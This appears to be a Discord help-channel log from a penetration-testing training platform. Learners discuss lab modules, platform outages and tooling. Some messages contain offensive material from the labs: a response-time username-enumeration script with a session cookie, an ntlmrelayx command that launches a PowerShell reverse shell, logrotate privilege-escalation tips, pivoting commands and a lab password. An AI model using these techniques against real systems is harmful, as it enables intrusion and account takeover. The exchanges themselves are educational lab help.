modules

[fathom pendant]

As jailbreaking a device you don't own is illegal

The answer is still no, read #rules

[stark edge]

Not jail breaking I just got apps on it and have trouble opening them

I ain’t asking u

[rare swan]

@fathom pendant lol u wanna have a look at it - its not bad i guess

[fathom pendant]

Well if they're blocked you'll need to jailbreak to bypass features

[fathom pendant]

No

Anyway I suggest you stop asking @stark edge

[stark edge]

I’m going to ask again does anyone know how to open apps on Mac computer

[fathom pendant]

<@&861185840277487616>

[surreal rain]

@stark edge No one will assist you in getting around your school security. As Marcie said, no one will assist. We are not that kind of server.

[sterile solstice]

we don't help ppl bypass security measures put in by your organisation.

[surreal rain]

Please don't make me kick and ban you from the server.

[stark edge]

Ok well on my personal mac I’m trying to open Microsoft edge and when I tap on it nothing pops up it just hides away

[fathom pendant]

Sure, now its personal

[sterile solstice]

lodge a ticket with microsoft help

[surreal rain]

Okay, well it doesnt deal with HTB Academy modules, so still irrelevent

[fathom pendant]

But anyway take it up with your school staff/it

[rustic sage]

the audacity this guy has

[stark edge]

But it’s my personal computer

[surreal rain]

And?

Still off topic

[fathom pendant]

Either way, irrelevant to this chat

[sterile solstice]

i can assure you that no one cares. we're not an IT help desk.

[stark edge]

General doesn’t work for me

[fathom pendant]

If you want to access more of the server read and follow #welcome and be mindful of #rules

[stark edge]

Where would I go to get help for my mac problem

Not In this server

[rustic sage]

google it

[stark edge]

Windows on mac

Like parralell

[surreal rain]

@stark edge Please stop. You've been asked several times.

[stark edge]

I got another question though Fr Fr I have a vpn on chrome and it doesn’t seem to be working

[civic hamlet]

Ive been looking through the help/man command for npm install and I see nothing related to web servers

all I understand is that its a package manager and I should be using the same structure as the previous commands ive used to create web servers( xyz install ...)

@surreal rain mind giving me a hint if your free?

linux fundamentals module - working with web services

[fathom pendant]

https://www.npmjs.com/package/http-server

[civic hamlet]

wait

When I learn from modules, am I supposed to be searching this stuff up

I assumed all the infromation id need would either be in the -help command or a hint i would have to gleam from previous modules

I wouldve had this module over with 4 hours ago

[fathom pendant]

Sometimes you need to utilize uncle Google

[wanton idol]

^

[fathom pendant]

If it's not found in --help or man pages, google

[wanton idol]

plus alot of the time youll be on google so its a good habit to use google for questions

[civic hamlet]

Alright, thanks you both

[solid wasp]

Hello, I am currently subscribed to student plan. If I subscribe to the Platinum plan, can I switch back to the student plan before my platinum plan ends?

[next bronze]

yes as long as you're still using the same verified account

[solid wasp]

Thanks

[acoustic owl]

As long as a subscription is active, you cannot take out another subscription

As soon as the subscription has expired, you can change your subscription

[solid wasp]

Thank you very much

[mental phoenix]

Hi, team!
Is there any issues with this lab? The machines cannot be spawned 😦
It took forever...

[dim wolf]

if you are having spawn issues, try switching VPN regions or contacting support

[mental phoenix]

Might be VPN issue? Ok, I'll try to change the region. Thank you!

[eager ledge]

I have enumerated MSSQL server and DC01 server, but I am not able to get a foothold on either of the machines. Can anyone give me a little nudge on the direction that I should be looking at?

[fathom pendant]

Go through each of the sections methodically to move forward

[eager ledge]

I have managed to get a list of domain users, but they are a lot! Should I do password spraying against all of them? Or just the few ones whose naming looks different than the norm?

Got it!

[fathom pendant]

When in doubt go through slowly

[eager ledge]

Can you elaborate a little more on what you mean by "go through slowly"?

[next bronze]

try the techniques you have learned

[tardy jungle]

MODULE : Whitebox Attacks
SECTION: Data Exfiltration via Response Time

My poc.py is working fine on my local machine but doesn’t work on the challenge instance, i tried many variations of the THRESHOLD_S and still can’t identify a user on the remote system:

||import requests
url = "http://94.237.59.193:35162/filecheck"
wordlist= "xato-net-10-million-usernames-dup.txt"
THRESHOLD_S = 1
cookies = {"session":"eyJsb2dnZWRfaW4iOnRydWUsInVzZXIiOiJodGItc3RkbnQifQ.Zp9Hgw.9-9S6E4lOWyadoaB5GXYbvJ2AWM"}

proxy = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

with open(wordlist, 'r') as file:
for usernames in file:
usernames = usernames.strip()

    res = requests.get(url,params={"filepath":f"/home/{usernames}/"},cookies=cookies)
    if res.elapsed.total_seconds() > THRESHOLD_S:
        print(f"valid username in the file system is: {usernames}")||

Edit: the author of the module replied and the challenge should be updated.
Thanks @upper haven

[storm elk]

I had the same issue, the timing was a pain, took a few attempts. It helped me to do this via a pwnbox

[idle sigil]

Hey, am on the Skills Assignment - Pivoting, Tunneling, and Port Forwarding. Am having trouble getting the lsass file from the Windows internal machine to transfer over to my kali thru an Ubuntu pivot.

Ive tried scp, smbserver, and thru rdp gui - all of them dont work 😦

[sterile solstice]

I need some help with Linux Privesc - Logrotate (https://academy.hackthebox.com/module/51/section/1589)

I have compiled the exploit and run the exploit with the payload (and nc waiting for the revshell) but the log isn't rotating. The module tell's you to use /tmp/tmp.log but even after 15mins the logs haven't rotated (therefore the callback hasn't started).

any help on why my exploit isn't working would be great as i've definitely followed the isntructions.

[upper haven]

I just tested it and I agree, the response timing is too sensitive. I'm gonna adjust the lab and push an update

[fathom pendant]

Suggestion, just transfer to Ubuntu, then your machine. If you are using xfreerdp there's also the /drive: option

[storm elk]

thats amazing

[idle sigil]

ive tried the /drive option but it doesnt work - it's stuck at 0% for a long time

[storm elk]

have you altered the log? to trigger the rotation

[fathom pendant]

Use tcp vpn

[idle sigil]

i am using tcp vpn

[fathom pendant]

¯_(ツ)_/¯

Otherwise you'd need to port forward to transfer things directly

[sterile solstice]

so i managed to find the right log, and then sometimes can trigger a logrotate, but twice now the revshell has connected but dropped before i can even put in a command

[acoustic owl]

vautia is amazing 🙂
He really listens to all feedback and tries to implement it.

[mint peak]

Anyone else having any issues spawning machines? I know there was just a critical outage a few minutes ago, says its resolved now

[sterile solstice]

and sometimes the exploit will run, but will quit halfway through

[storm elk]

I will retry this section on my vm when the update is pushed 👀

[next bronze]

you have a short window to do it, suggestion is to try another way instead of rev shell

either suid binary or add the user to sudo group

[bronze schooner]

Something went wrong
Error Code: 504

Our engineers have been notified and are working to resolve the issue.

Ray ID: ::RAY_ID::

in https://academy.hackthebox.com/

[next bronze]

it's back, refresh the page

[bronze schooner]

👍

[sterile solstice]

got the flag in the few seconds i had with a shell haha. but now the page on academy won't accept it and is taking a while to load..

i did ping my VM from the attacked host and got 300ms and it was stable. so its a weird issue to have...

[next bronze]

it was down for a min but should be back now

[mint peak]

Website still not working or spawning machines. Error 504 still

[bronze schooner]

Website and spawning machines.

[storm elk]

It is working here, but kinda slow

[sterile solstice]

it finally accepted the flag. and i guess the current issues made the shell a bit hit and miss .... lol

[near frigate]

I just came across ja3 in the Working With IDS/IPS module and am trying to install it on my kali machine to play around with it some more.
It does not appear to be available through apt so I tried grabbing the go version from https://github.com/dreadl0ck/ja3. I grabbed it with wget in terminal and am unsure where to go from there. Do I need to do something with go to make it an executable and then add it to $PATH?
The machine we ssh into in the module has it added to path.
I was also a bit confused by the space that appears to be at the end of the ja3 folder from the wget https://github.com/dreadl0ck/ja3. The same space exists after ja3 on the machine we ssh into.

[thorn hawk]

is there any issue at this moment with the HTB academy main page?

[mint peak]

Yes, it's down

[thorn hawk]

y0y0 thank youuuuu

time for some gaming :D

[somber sentinel]

Is there any info on when the platform will be back up?

[storm elk]

#general message

[somber sentinel]

thanks, had missed that one

[storm elk]

No worries 🙂

I hope it gets fixed soon too

[somber sentinel]

is it related to #710108839063846964 message as well?

[storm elk]

I am not sure, but most likely that will be connected

[somber sentinel]

alright, thanks for your time 😉

[storm elk]

academy seems to be back up for me

[upper haven]

@tardy jungle @storm elk The lab is updated now 🙂 For reference: For me it took about 5 mins to find the solution, producing 5-10 false positives in the process. It's still not ideal but timing attacks are inherently prone to false positives. For the purpose of the section it should be fine now, it's significantly more reliable. Please try again @tardy jungle and let me know if you face any issues. Make sure to figure out a correct value for the threshold using the known user htb-stdnt. I don't know how this one slipped past me when creating the module. Sorry for any frustration this has caused.

[storm elk]

okay Academy is hating me again

[sterile solstice]

its down for me too....

[orchid pine]

ig its down

[halcyon bobcat]

I can't spawn to the target system, is it a general issue?

[storm elk]

may I dm you regarding this? 🙂 I tried a higher timing, and the solution doesn't show the correct username 😅 pwnbox in DE location

[acoustic owl]

#general message

[languid fjord]

Are you still facing this?

[storm elk]

Cloudflare seems to be checking my connection a lot 👀

[south bison]

did you finally do it? if not, can you share more details? (link)

[silk lagoon]

Hello, can anyone help me explain something to me, from Firewall and IDS/IPS Evasion - Hard Lab.

[cedar marsh]

I am currently doing Information Gathering Web Edition in Fingerprinting. I have to find the OS for vhosts provided an IP. to check the IP i pinged it but it was down, i checked the traceroute and it seems I am hitting the gateway 10.10.16.1, but after that I can't hit the server, I also put the domain with IP in /etc/hosts, but as I can't reach the server it is not giving me any benefits. Am I missing something? I would be glad for any hint/help

[naive sage]

why?

[storm elk]

it thinks I am a bot

[naive sage]

same for me, google thinks that. BUT Sir I'm a real Human.

[shut quest]

you're not alone, we're all bots

[naive sage]

#general <----

[fathom pendant]

Is the provided IP a public ip?

Ip:port?

[lofty sparrow]

has anyone had issue with brute forcing ssh in easy lab of password attacks? i thought the logins are usually early on in the lists but hydra has been going for 45 mins now 😛

[south bison]

Guys if you have issues the last hour, spawning targets in academy and if you are getting some 403 in network tab of devtools, then refresh the page and check again. It's a **temporary **issue cause of cloudflare high level of bot validation. It will stop asap when network is stable

[spare fossil]

Hey guys, module Web attacks, bypassing basic authentication.... i have found few methods which dont get blocked but, i get a blank page after i use it, any encounter this? am i missing somthing

[zealous rune]

Hi guys. it might be just me but I am finding a small part of the Attacking SMB section a little confusing

`We can create a PowerShell reverse shell using https://www.revshells.com/, set our machine IP address, port, and the option Powershell #3 (Base64).
Attacking SMB

maqbull@htb[/htb]$ impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e <HASH>

Once the victim authenticates to our server, we poison the response and make it execute our command to obtain a reverse shell.`

Specifically the above. when it says we poison the response. Doesn't this mean we are relaying the user's hash to the target server the user is trying to authenticate to ? In this case the target specified by -t is the server the user wants to auth to. But we hijack the creds and complete the authentication to the server, additionally getting the server to run a revshell for us?

so it's not really a response to the user

also the ip address in this example is different from the target in the previous example: which was:

impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146

[next bronze]

oh god a wall of text

ntlmv2 uses a challenge and response mechanism, so there will be multiple exchanges before it's properly authenticated

[plush jewel]

Hello, I have a problem in the Windows Lateral Movement module in the WSUS Section Lab. Can anyone help me? Thank you

[next bronze]

what's the problem?

[zealous rune]

my bad i edited

[plush jewel]

When I try to run SharpWSUS.exe I got error

[next bronze]

run as admin

[plush jewel]

I did it

[zealous rune]

fair. but... the reverse shell is still as a result of the relaying of the creds we capture from the user to the target server. And not as a result of us poisoning a response to the user. or i am missing something

[next bronze]

are you running it on the right host? if yes then reset the target and try agian

[next bronze]

responder is doing the posioning

[plush jewel]

I am running it from SRV01

ok I got it thanks

[terse aurora]

Hey! I got stuck at the web proxies module at running tools through proxies because I can't set a proxy in msfconsole

These are my settings

Proxies HTTP:127.0.0.1:8080

RHOSTS IP

RPORT PORT

And in zap I have local proxy on 127.0.0.1:8080

[zealous rune]

OK. i think my contention is that the sentence seems to imply the the rev shell is as a result of a poisoned response to the user. However in fact the reverse shell is a result of relaying the hash to a target server and executing the rev shell there. Or am i misunderstanding

[terse aurora]

Any idea?

[next bronze]

you won't receive a ntlm auth to relay if you don't posion

so it's the result of both posioning and relaying

[zealous rune]

ok thank u

and by poisoning we mean that we respond to a request for a share or resource that does not exist

i.e. we do the challenge response bit

[next bronze]

responder does LLMNR, NBT-NS and MDNS posioning

[zealous rune]

effectively this is a Mitm

[next bronze]

yes

[zealous rune]

ok... but what do we mean by "poisoning"

aren't we just completing the challenge/response with the user as normall

then replaying that to the target

[next bronze]

posion the request so that an authenticaiton will be sent to a host that you control in the first place

[plush jewel]

How long does it take to download the patch on dc01?

[next bronze]

you're misunderstanding challenge/response part, it's done between the posioned host and the target, your host does neither challenge or response, it just relays the requests

[zealous rune]

ah yes of course

[next bronze]

I waited for 10+ mins

[zealous rune]

that's passive

[plush jewel]

ok, thanks

[next bronze]

why would you want to use msf through zap?

[zealous rune]

so we can poison the request from the initial user? to make it so the user is requesting a non-existent resource to which we can respond to and then forward to the target server

[terse aurora]

ok, apparently I had to open the built in browser to fix it, I have no idea why, any ideas? Thanks :)

[terse aurora]

Because it's a requirement in the course

[zealous rune]

because i thought we have to rely on the user requesting a nonexistent resource for us to be able to respond

respond to the multicast query from the victim

[next bronze]

no, you just need to relay the ntlm authentication request

there's also a ntlm relay module that goes into details

[zealous rune]

right.... so we don't "poison" any response. we just respond from our illegitimate smb server for a nonexistent resource the user is requesting. Taking advantage of the fact that user is not authenticating servers that respond

thanks for ure patience

i believe i get it

i just find the wording a bit confusing

[next bronze]

the point of posioning is so that you have a ntlm auth to relay with, hosts won't just request auth to any IPs, so it will either have to be posioned, coerced or if you have controlled a know smb server in the network and relayed from that host

[zealous rune]

It's just that when we talk about an arp cache poisoning for a MITM. We actually have to take some poisoning action such as flooding or being quicker with our arp response in order to poison the user's cache.

i don't get how we poison the victim machine to allow us to respond

i understood that we wait for a user to request something that doesn't exist and hence we have the opportunity to respond where other servers won't

but i think we beat it to death already. it's clear i need to read more on how the ntlmrelay is doing poisoning

thank u

[orchid pine]

hello

everyone is the academy down

[storm elk]

it seems to be online here

what error are you getting?

[orchid pine]

kepps reloading from the morning

[storm elk]

try clearing your cookies, that might help

[naive sage]

#modules message

[next bronze]

can I have some cookies

oh wait this isn't gen chat

[zealous rune]

😄

go ask Ciara

[silk minnow]

Anyone able to help?

[storm elk]

Have you clicked Using System.Windows.Data; (from PresentationFamework) ?

[silk minnow]

yup, clicked it but nothing changed

[storm elk]

and you're sure you selected the right project type when creating it?

[silk minnow]

yup, C# console app

[storm elk]

try console app (.net framework)

[silk minnow]

nevermind, this was the issue i chose the one without the (.net framework)

[silk minnow]

thanks

[storm elk]

glad I could help 😄

[rugged jewel]

Hello, everyone!

I am on https://academy.hackthebox.com/module/54/section/490 right now and I have a problem with reaching http://admin.academy.htb:PORT and http://admin.academy.htb:PORT/admin/admin.php

In the module don't have to access it, but ffuf results has only the errors. I assume that these problems are connected.

Does anyone can help me?

[storm elk]

What error are you having?

Have you added the IP address to your hosts file?

[rugged jewel]

there is no error in response

[fathom niche]

could someone assist "Intermediate Network Traffic Analysis" -> funky_dns.pcap?

[rugged jewel]

yes

[rugged jewel]

The modules before this one, I have no issues to reach need hosts...

[next bronze]

well looks like you didn't add that vhost to your hosts file

[storm elk]

Maybe the IP has changed in the new section?

[storm elk]

exactly my thoughts

I just tried it, works fine here

[rugged jewel]

I've tried yesterday and today I've spawned a new one, remove olds from hosts and add the new one.

[storm elk]

Double check that there is no typo or that you have accidentally switched up the host and ip

[rugged jewel]

Mmm... How it should looks like in hosts file?

[storm elk]

IP<space>HOST

so xx.xx.xx.xx admin.academy.htb

[rugged jewel]

Does admin.academy.htb should be there also?

[storm elk]

that seems to be the issue, the vhost is admin.academy.htb

[drifting valley]

you should also add the admin.academy.htb

ip host host

[rugged jewel]

oh... Thanks, guys. Will try asap 🙂

[storm elk]

good luck

[rugged jewel]

It works. I re-read quickly the prev pages and there was an attention to add admin.academy.htb to hosts, but I've skiped it somehow.

Thanks for help once more 🙂

[storm elk]

glad you got it working!

[nimble socket]

Good morning; I've recently been working through the SQL Injection Fundamentals and SQLMap Essentials modules. In both modules, after successfully running through the first examples that require exploiting the DB, all subsequent attempts fail, saying the DB isn't responding, the connection is reset, etc... I've tried resetting the target box, coming back another day, but to no avail. I'm running this from my personal Kali VM. Any clues?

[storm elk]

Have you connected via the vpn?

[nimble socket]

I have, yes

[storm elk]

can you show the error you get?

[nimble socket]

I'm unable to upload an image in this channel, maybe I missed something along the way?

[storm elk]

You need to get verified. See #welcome for instructions, but feel free to send it do me in DM 🙂

[nimble socket]

ha, I'll do that...DM'ing you real quick

[jolly yacht]

In Introduction to Windows Command Line Module,User and Group Management. The exercise is to get the specific domain user surname So i tried to use Get-ADUser but its showing "server has rejected the client credential". Any help please?

[next bronze]

doesn't seem like you're using the right user for that query

[jolly yacht]

ohh, sorry. i logged into the htb-student account instead of the target account.

[echo bobcat]

https://i.imgur.com/a4CMo95.jpeg
I don't get it.
Why is tcpdump can't read it?

https://i.imgur.com/tbvgojY.jpeg
Besides, it looks like Pwnbox in the free plan still can't download the file.

[acoustic owl]

To be able to post pictures, your user must be verified. Read and follow #welcome

[jolly yacht]

its obvious, look at the error and specify the correct path.

[storm elk]

you're in your home folder, change to Desktop and try again

[snow geyser]

I need help on the Introduction to Digital Forensics, Skills assessment the last two questions. Any guide will be highly appreciated.

[cedar marsh]

no its private and I don't really know how to access it. I always thought connecting to HTB vpn would connect me to their private servers like used here but it isn't case. And there is no port given

[echo bobcat]

tks

[pseudo kiln]

anyone else felt like the sqlmap module was a bit rushed on the protection bypass section ? like when it came to bypassing protections, they did not really explain much. Are we just supposed to progressively throw protection bypasses until one sticks ? Like I understood their use, but the module does not seem to explain how to enumerate if an application is vulnerable to an sqlmap bypass.

And even the assessments at the of the section basically told you when to use each bypass. "use this bypass because this app is old", you did not actually have to figure out if the app was vulnerable to such bypass.

[primal elm]

How can I get access to url of phishing xxs section task that will take credentials from victim

[simple isle]

Hi, I am working on Linux Privilege Escalation Skills Assessment. I am at the Flag5 and stuck for a few days. I got the reverse shell and did the exploit from GTFOBins but it did not give me the root shell. I also tried to upgrade the shell but did not help. Can someone give me a guildance of how to tackle this last flag please? (https://academy.hackthebox.com/module/51/section/480)

[primal elm]

Cross site scripting

[simple loom]

What have you tried/where are you stuck?

[normal vessel]

Can anyone help me to get back my Instagram account

[storm elk]

We can not help you with this. Contact instagram support

[normal sand]

Module: Web Proxies
Section: Repeating Requests (https://academy.hackthebox.com/module/110/section/1051)

In the HTTP request, the ls -a command is being injected. Can someone please tell me why the value of ip is set to ls+-a and not ls -a?

[storm elk]

• for space

[normal sand]

What encoding is that? If that's even the right term, please correct me if it isn't.

[next bronze]

url encoding

[normal sand]

Wasn't %20 or something "space" in URL encoding? Am I mixing something up?

[storm elk]

Url encoding indeed

https://developers.google.com/maps/url-encoding

By popular convention, spaces (which are not allowed within URLs) are often represented using the plus '+' character as well.

[normal sand]

They mentioned it, I just failed to have the patience and read on, my bad. @storm elk Thank you too!

I was not aware that + could be used to encode a space as well, always thought it was just %20. Good to know.

[bold compass]

Why ptunnel-ng don't work in an attacking machine?

[next bronze]

include the module and section as mentioned before

[glacial bay]

Module: Password Attacks
Section: Hard Lab (https://enterprise.hackthebox.com/academy-lab/8728/6841/modules/147/1356)

Just really need a sanity check that this isnt the password for the encrypted hard drive on the hard lab for pasword attacks. Using the mutated password list, it came up with a password but it didnt work.

Password: || 123456789! ||

[simple loom]

It is indeed

find a tool to access the drive 😄

[glacial bay]

i used guestmount

[fast epoch]

hey guys, very quick general question. When I establish an ssh connection to a module on HTB, is it usually a slow connection? For example, a lot of my character inputs are highly delayed which makes it difficult to navigate.

[simple loom]

I used another one (dm if you want further hints :D, dont wanna spoil too much over here)

[dim wolf]

you can try switching VPNs and see if your latency changes

[coral forge]

Hey, I'm doing the IPS/IDS hard lab from the Network enumeration with nmap module, and I'm having some issues, I want to ask how much time is too much time waiting for a scan (I want to try slower scans so I can maybe get an answer from a port I don't know), I have tried a -t2 scan on top 1000 ports to test and it took 10 mins is that ok?

[dim wolf]

if not, message support

[fast epoch]

I mean Im using my own VM using the ovpn file. Is that what you mean?

[dim wolf]

yes, you can switch regions for your VPN connection

there is an option to do so near the bottom of the section you are working on

[fast epoch]

ok ill try

[civic badge]

Evening, looking for a step for a hint with the Windows lateral movement module, stuck on the skills assessment trying to pivot off the first box.

[next bronze]

delete the already built binary in ptunnel-ng/src then cd to ptunnel-ng/, run

sudo ./configure LDFLAGS=-static
sudo make

and copy the new binary over, it should have the size of 5083KB

[next bronze]

have you gotten the first question?

[civic badge]

Yes. I have creds for two users, and I've enumerated the internal network (I think). Stuck on the second, and I've tried a variety of methods to pivot with the second user's creds with no success.

[next bronze]

check the hint and use nmap

[civic badge]

I can see there's an IPv6 address for one of the servers, and there's service(s) available on IPv6 that aren't on IPv4, but the service(s) aren't liking the second user's creds.

[bold compass]

thank you very much for your help. I just feel like the course is a little outdated. programs work Crooked or need to find another way.

[civic badge]

Tried Nmap to enumerate the IPv6 address via ProxyChains with no joy... it's currently hanging as I type this. I've tried a couple of other network scanners on the first box and PS Test-NetConnection also

[next bronze]

no nmap works, you just need to scan more ports

there's a ipv6 flag for nmap

[fast epoch]

how do I fix "no route to host" connection issue when connecting with ssh? Module - linux fundamentals Section - Find File and Directories

[civic badge]

proxychains nmap -6 -sT -Pn || [dead:beef:df::3]|| is the Nmap command that's hanging

[next bronze]

make sure you're using socks5, socks4 does not support ipv6

[coral forge]

could anyone help me? 🙂

[civic badge]

yup using SOCKS5. However, it sounds like I'm not being totally daft and on the right track and it's the server the IPv6 address belongs to that I need to pivot onto. I'll try and persevere getting Nmap working meantime, thank you.

[next bronze]

you can also add the ip to your hosts file and use the hostname instead

[upper haven]

Sure 🙂

[clever dock]

On windows priv esc module, the windows server and skills assessment 1 targets have been down for a few days

[topaz zenith]

So been asking in pro-labs about Dante, would be sweet to get some assistance.

[storm elk]

Be patient 🙂

[fresh radish]

Hello there

[cedar marsh]

in updated information gathering web edition skill assessment, when I use ffuf to enumerate vhosts against inlanefreight.htb domain, how is every subdomain in wordlists giving me status of 200?

[north bramble]

hello, what should be added to the command to check all passwords against a single username and then moving on to the next username?

[north bramble]

share which part and screenshot

[dim wolf]

there's an option for that, check netexec smb -h

[north bramble]

cant seem to find it. I looked it up.

[north bramble]

I think you should filter by size 120. idk which part is this

[idle python]

can i get help : What is the full subdomain that is prefixed with "web"?

[storm elk]

Which module and section?

[dim wolf]

yeah i also checked, looks like there isn't an option. i was probably thinking of hydra which has the option to loop over usernames

[idle python]

INFORMATION GATHERING - WEB EDITION in Virtual Hosts

[north bramble]

oh ok, thanks. looks like I got it confused as well then.

what is the option in hydra?

[dim wolf]

-u

i don't think hydra supports WinRM though

[cedar marsh]

add ip and domain in /etc/hosts
and try to fuzz it with gobuster or ffuf
gobuster with a pattern worked for me

[cedar marsh]

even if I filter it i can't understand how every subdomain is giving status 200. and after filtering it with 120 there is nothing left

[north bramble]

oof.

bro share the module link like which part is it

[cedar marsh]

https://academy.hackthebox.com/module/144/section/1311#questionsDiv

[simple isle]

if someone already finished this module, please help!!

[shut quest]

This should help you out

https://academy.hackthebox.com/module/51/section/467

[dim wolf]

please keep messages relevant to HTB Academy module content

[mellow holly]

https://www.freedesktop.org/software/systemd/man/latest/busctl.html
https://www.freedesktop.org/wiki/Software/dbus/

Read the above, run the command by itself and with flags, and see what it does. You can break out of it by following GTFO.
It may look weird once you get a shell, but keep going with it

[topaz zenith]

Is there a way to speak to an administrator?

[low girder]

What is it about? I'm not an admin.

[topaz zenith]

about me waiting 24 hours for some help?

[low girder]

in the support chat?

I mean did you open a ticket in the support chat?

[topaz zenith]

there, here in the prolabs section as well. Hell I tried getting a ticket last week for support chat have nothing in my email

[surreal rain]

hey, how can i help you?

[low girder]

They seem to have raised a ticket on the platform. I'll take care of it.

[low girder]

Can you please DM me the email address?

[surreal rain]

alright, cool

[jolly cradle]

@south bison

[fathom pendant]

Use a different list

[alpine moat]

hey

how do i get roles? i cant seem to text in general

[acoustic owl]

Read and follow #welcome

[alpine moat]

is that acc identifier thing not some secret key with which someone can access my account?

[acoustic owl]

No, that token is only for Discord

[alpine moat]

damn cool

how do i get SERIOUS RULE BREAK in red

[acoustic owl]

This role is used to alert the moderators

[fathom pendant]

https://tenor.com/view/mulan-secret-no-wall-of-china-disney-gif-8478532

[alpine moat]

damn i got a cool thingy in front of my name, can ya'll see it

payload bunny excuse me

[fathom pendant]

You can now access other channels 👍

[bold compass]

I made tunell. why can't I connect through rdp now?

[fathom pendant]

Use proxychains maybe

session closed or timed out

3rd screenshot

Looks like it's having issues staying connected

[bold compass]

Failed to connect

[fathom pendant]

I'm looking at your ptunnel logs brother

[bold compass]

I use VM parrot os. Maybe need to use pwnbox?

[fathom pendant]

Not required

Try changing vpn to tcp and connecting again

I honestly haven't used ptunnel, too much headache

[terse aurora]

Hey could anyone help me with proxychains and zap, it seems like it doesn't work

[cedar marsh]

I have a noob question there is a private server I have to access, I am connected to HTB VPN 10.10.16.X, I can access the gateway of the server, but how will I access a server which is in 10.X.X.X

[terse aurora]

And the last exercise is to route connection through zap with msfconsole, but setting proxies to 127 0 0 1 8080 doesn't work

[bold compass]

I spend days-weeks on installation-setting programs.

[cedar marsh]

so like I want to jump from my given subnet to the subnet where server is located right? how?

[fathom pendant]

Routing table sets it up

[fathom pendant]

There is no subnet hopping

[fathom pendant]

¯_(ツ)_/¯

Traffic through zap?

Huh?

At least in this context

[terse aurora]

Like, capture the request

[cedar marsh]

thats the thing after my packets hit the gateway it dies so the gateway doesn't have it route table set correctly?

[terse aurora]

ok, nvm I said the stupidest thing ever

[fathom pendant]

Message support

[terse aurora]

So, the module requires me to send the payload from msfconsole through ZAP and see the request (to provide an answer)
But it doesn't work

You are using the 'auxiliary/scanner/http/coldfusion_locale_traversal' tool within Metasploit, but it is not working properly for you. You decide to capture the request sent by Metasploit so you can manually verify it and repeat it. Once you capture the request, what is the 'XXXXX' directory being called in '/XXXXX/administrator/..'?

[fathom pendant]

Did you set the proxies option?

[terse aurora]

Yes

to http:127.0.0.1:8080

[fathom pendant]

Also the exploit will fail

It's not meant to work

[terse aurora]

Well, somehow it works for no reason

I don't get any errors lol

[fathom pendant]

?

In msfconsole?

[terse aurora]

Yes, let me run it again and I'll send you the result

[fathom pendant]

Btw you're just meant to hit a random website, I chose Google

[coral forge]

Hey, I'm doing the IPS/IDS hard lab from the Network enumeration with nmap module, and I'm having some issues, I want to ask how much time is too much time waiting for a scan (I want to try slower scans so I can maybe get an answer from a port I don't know), I have tried a -t2 scan on top 1000 ports to test and it took 10 mins is that ok?

[fathom pendant]

No

Also you don't need to do -t2

[terse aurora]

ok, I think it didn't work because I set rhosts as the target website from the section

[coral forge]

Okok perfect

[terse aurora]

When I tried with google it worked for some reason

Thanks

[fathom pendant]

Ye

[honest gyro]

sup everyone, can anyone tell me how to get the new content of the server side attacks? i own the module but how can i reset it to get the new one?

[acoustic owl]

You cannot reset the module. However, you can read the text in the module and apply what you have learned in the lab.

[honest gyro]

Oh thanks dude

[rare swan]

Do ssh passwords accept withespaces within?

[fathom pendant]

Yes

If you're trying to pass the pw in the command line, instead of when it asks, you need to wrap it in quotes

[rare swan]

thx

[cunning obsidian]

Hi

[hexed python]

Yo I feel so dumb today

[storm elk]

Hello

[cunning obsidian]

Just finished studying. How’s your day going?

[cunning obsidian]

You got this man 😌

[storm elk]

All good. It’s 10pm so my day is over soon

[hexed python]

I try to do AEN blind and I feel so dumb

[cunning obsidian]

Oh dang, it almost about time to sleep lol

[hexed python]

I have to read the modules and realized I making so many mistakes

[storm elk]

Yes. But let’s stick to module chat 🙂 if you want to talk in #general follow instructions in #welcome 😉

[cunning obsidian]

It won’t allow me to

[snow geyser]

I have gone through the files(json) in the target machine searched for any doc file but found none. I also downloaded the ones from VELOCIRAPTOR and searched them one by one for any sign of the doc file. For the second last question, I have tried some paths that I found but nothing is working so far

[storm elk]

Follow the instructions in the #welcome channel

[cunning obsidian]

It keeps redirecting me here

[limber bone]

Hello
I am new here. I have joined to the discord channel to solve a technical issues with modules. Does the channel have a tech. support or smt like this?

[storm elk]

If it’s question about how to do something, this is the right place to ask 🙂

[limber bone]

To determine how to do something, first, I need determine how to connect to the target machine. I cannot connect via rdp from my kali (remmina, xfreerdp) and via HTB Viewer in brows. In addition, nmap shows that rdp port is filtered. So how should I connect? 🧐

[fathom pendant]

Reset the target if you're meant to rdp to it

[pliant path]

Hi guys, just started HTBA.. so excited to learn everything!

I have a question: Can I personalize the workstations generated on the site?

[fathom pendant]

No

You can download and run your own vm though; the workstation (pwnbox) is based off ParrotOS

[limber bone]

Oh my bad
I have reconfigured vpn and it have worked

[pliant path]

From your guys exp, it's better using pwnboxes or setup my own?

[silk anchor]

File uploads skills assesment done, that was rough!

[fathom pendant]

Your own, file retention and customizability are big plusses

[pliant path]

so, Kali linux is the one you guys use?

[fathom pendant]

I use Parrot, some use kali

It's all preference really

[pliant path]

nice, haven't heard about parrot yet, just Kali

I'm gonna take a look on Parrot

[fathom pendant]

Parrot is what the in browser workstation is

[dusky gyro]

Not understanding the skill assessment part of the new server-side attack? Is this intentional way of getting the answer? was very anti-climatic...

[minor dome]

Im working in Zone Tranfers in the Information Gathering - Web edition module. and Its asking me to run a 'dig axfr' but everytime i run it i get timed out, servers could not be reached, or network unreachable errors. Could anyone help?

[civic hamlet]

Despite being able to create a http server in my vm, npx http-server /home -p Does not qualify as an answer..?

[wet snow]

@primal silo check that the @ sign is correct via rdp, i suggest using onscreen keyboard

[primal silo]

oh okay

not working

pls help sm1

#cpts message

this is not working i think smthing wrong at the servers end i have resetted it many times

Module: File Transfers section: Windows File Transfers, Q2

[silk anchor]

What are you using for RDP?

[primal silo]

windows default rdp client

i can connect to the server but the credentials are not working

[silk anchor]

Can't help with that I'm afraid, I used xfreerdp on a kali vm with those creds and it worked fine.

[primal silo]

okay then

let me try with xfreerdp

well it worked with xfreerdp i dnt understand why it didnt work it windows rdp client

but whatever.. thanks

[silk anchor]

I had the same issue before and it would only connect with creds from terminal, wouldn't work when trying to put them in on the windows login. No idea why, You could try doing something like ACADEMY-MISC-MS02\htb-student and see if that works or some variation

[fathom pendant]

dig axfr domain @ip

[smoky pumice]

